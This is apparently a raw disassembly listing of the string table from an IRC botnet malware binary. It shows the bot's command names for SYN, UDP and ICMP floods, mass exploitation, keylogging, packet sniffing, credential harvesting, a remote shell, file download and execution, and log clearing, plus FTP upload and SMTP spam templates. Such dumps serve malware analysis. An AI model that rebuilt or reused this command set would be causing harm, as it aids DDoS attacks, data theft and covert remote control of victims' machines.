					; DATA XREF: seg000:0040E500o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040E4D5o
					; seg000:00410069o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040E4CEo
					; seg000:00410062o
		align 4
dword_42A0E4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040E390o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_42A130	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040E247o
					; seg000:0040FEADo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_42A184	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040E216o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42A1D0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040E1A7o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040E0E0o
		align 4
unk_42A244	db    2			; DATA XREF: seg000:0040E0CBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A290	db    2			; DATA XREF: seg000:0040E060o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42A2EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40DFC3o
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_42A338	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040DFB9o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A384	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040DF3Fo
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040DF2Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040DF28o
dword_42A3DC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040DE93o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42A418	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40DDABo
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42A458	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040DDA4o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040DD8Do
aSS_4		db '-s:%s',0            ; DATA XREF: seg000:0040DD76o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040DD56o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040DD21o
		align 4
dword_42A4D4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040DCA3o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040DC80o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040DC5Do
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040DC46o
		align 10h
unk_42A530	db    3			; DATA XREF: seg000:0040DC05o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; 
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040DB91o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040DAF5o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040DAA6o
		align 10h
aUsa		db 'usa',0              ; DATA XREF: seg000:0040DA8Fo
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040DA78o
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040DA61o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040DA4Ao
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040DA33o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040DA1Co
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040DA05o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040D9EEo
		align 4
aVv		db 'vv',0               ; DATA XREF: seg000:0040D9D7o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040D9C0o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040D997o
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040D980o
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040D969o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040D952o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040D93Bo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040D924o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040D90Do
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040D8F6o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040D8DFo
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: seg000:0040D8C8o
		align 10h
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040D8B1o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040D89Ao
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040D883o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040D86Co
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040D855o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040D83Eo
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040D827o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040D7FEo
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040D7E7o
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040D7D0o
		align 10h
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040D7B9o
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: seg000:0040D7A2o
		align 4
aBox_findfile	db 'box.findfile',0     ; DATA XREF: seg000:0040D78Bo
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040D774o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040D75Do
aDownload_upz	db 'download.upz',0     ; DATA XREF: seg000:0040D746o
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: seg000:0040D72Fo
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040D718o
		align 10h
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040D701o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040D6EAo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040D6D3o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040D6BCo
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040D6A5o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040D68Eo
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040D677o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040D660o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040D649o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040D632o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040D61Bo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040D604o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040D5EDo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040D5D6o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040D5BFo
		align 10h
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040D5A8o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040D591o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040D57Ao
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040D563o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040D54Co
		align 10h
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040D535o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040D51Eo
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040D507o
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040D4DEo
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040D4C7o
dword_42A888	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40D479o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42A8B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40D472o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42A8EC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40D42Ao
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42A91C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040D423o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 10h
aUser		db 'user',0             ; DATA XREF: seg000:0040D396o
		align 4
dword_42A958	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40D38Bo
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_42A98C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040D381o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040D319o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040D2FEo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: seg000:0040D2E3o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040D2CBo
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040D2B3o
		align 4
dword_42A9EC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40D2A8o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_42AA20	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040D29Eo
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: seg000:0040D24Do
		align 10h
dword_42AA60	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040D21Ao
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040D1F6o
unk_42AAB4	db    2			; DATA XREF: seg000:0040D1B5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_42AB04	db    2			; DATA XREF: seg000:0040D14Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_42AB38	db    2			; DATA XREF: seg000:0040D0CCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_42AB6C	db    2			; DATA XREF: seg000:loc_40D0A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_42ABAC	db    2			; DATA XREF: seg000:0040D09Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:0040D06Ao
					; seg000:0040D0E0o
		align 4
aBox_kog	db 'box.kog',0          ; DATA XREF: seg000:0040D044o
unk_42AC0C	db    2			; DATA XREF: seg000:loc_40D03Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_42AC48	db    2			; DATA XREF: seg000:0040D030o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: seg000:0040D00Do
					; seg000:0040D07Bo
unk_42AC98	db    2			; DATA XREF: seg000:0040D002o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_42ACE8	db    2			; DATA XREF: seg000:0040CF93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_42AD2C	db    2			; DATA XREF: seg000:0040CF2Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: seg000:0040CF0Fo
					; seg000:0040D059o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: seg000:0040CEFAo
		align 4
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040CEE3o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040CECCo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040CEB5o
		align 4
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040CE9Eo
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040CE70o
					; seg000:0040CE87o
		align 10h
aEnz_v		db 'enz.v',0            ; DATA XREF: seg000:0040CE59o
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: seg000:0040CE42o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040CE2Bo
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040CE14o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: seg000:0040CDFDo
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: seg000:0040CDE6o
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040CDCFo
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040CDB8o
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040CDA1o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040CD8Ao
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040CD73o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040CD5Co
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040CD45o
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040CD2Eo
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040CD17o
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040CD00o
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040CCE9o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040CCD2o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040CCBBo
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040CCA4o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040CC8Do
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040CC76o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040CC5Fo
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040CC48o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040CC31o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040CC1Ao
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040CC03o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040CBECo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040CBD5o
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040CBBEo
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040CBA7o
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040CB90o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040CB79o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040CB62o
		align 10h
aVall		db 'vall',0             ; DATA XREF: seg000:0040CB3Co
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040CB27o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040CB12o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040CAFDo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040CAE8o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040CAD3o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040CABEo
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040CAA9o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040CA94o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040CA7Fo
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040CA6Ao
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040CA55o
		align 10h
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040CA40o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040CA2Bo
dword_42AFD4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CA1Ao
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040C9E6o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040C9D9o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040C9B7o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040C99Eo
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040C993o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040C98Eo
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040C975o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040C960o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040C94Bo
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040C936o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040C921o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040C90Co
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040C8F7o
		align 10h
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040C8E2o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040C8CDo
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: seg000:0040C8B8o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: seg000:0040C8A3o
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040C88Eo
		align 10h
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040C879o
		align 4
aEnz_010	db 'enz.010',0          ; DATA XREF: seg000:0040C864o
aEnz_beg01ne	db 'enz.beg01ne',0      ; DATA XREF: seg000:0040C84Fo
aSi		db 'si',0               ; DATA XREF: seg000:0040C83Ao
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040C825o
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040C810o
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040C7FBo
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040C7E6o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040C7D1o
		align 10h
aEnz_l0g	db 'enz.l0g',0          ; DATA XREF: seg000:0040C7BCo
aEnz_lo0g	db 'enz.lo0g',0         ; DATA XREF: seg000:0040C7A7o
		align 4
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040C792o
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040C77Do
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040C768o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040C753o
		align 4
dword_42B174	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C71Fo
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_42B1AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C718o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040C701o
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040C6ECo
		align 10h
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040C6D7o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040C6C2o
		align 10h
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040C6ADo
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040C698o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040C683o
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040C66Eo
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040C659o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040C644o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040C62Fo
		align 10h
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040C61Ao
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040C605o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040C5FAo
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:0040C5F5o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040C5DCo
		align 4
dword_42B288	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: seg000:0040C5CCo
		align 10h
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040C5B3o
		align 10h
dword_42B2B0	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:0040C5A3o
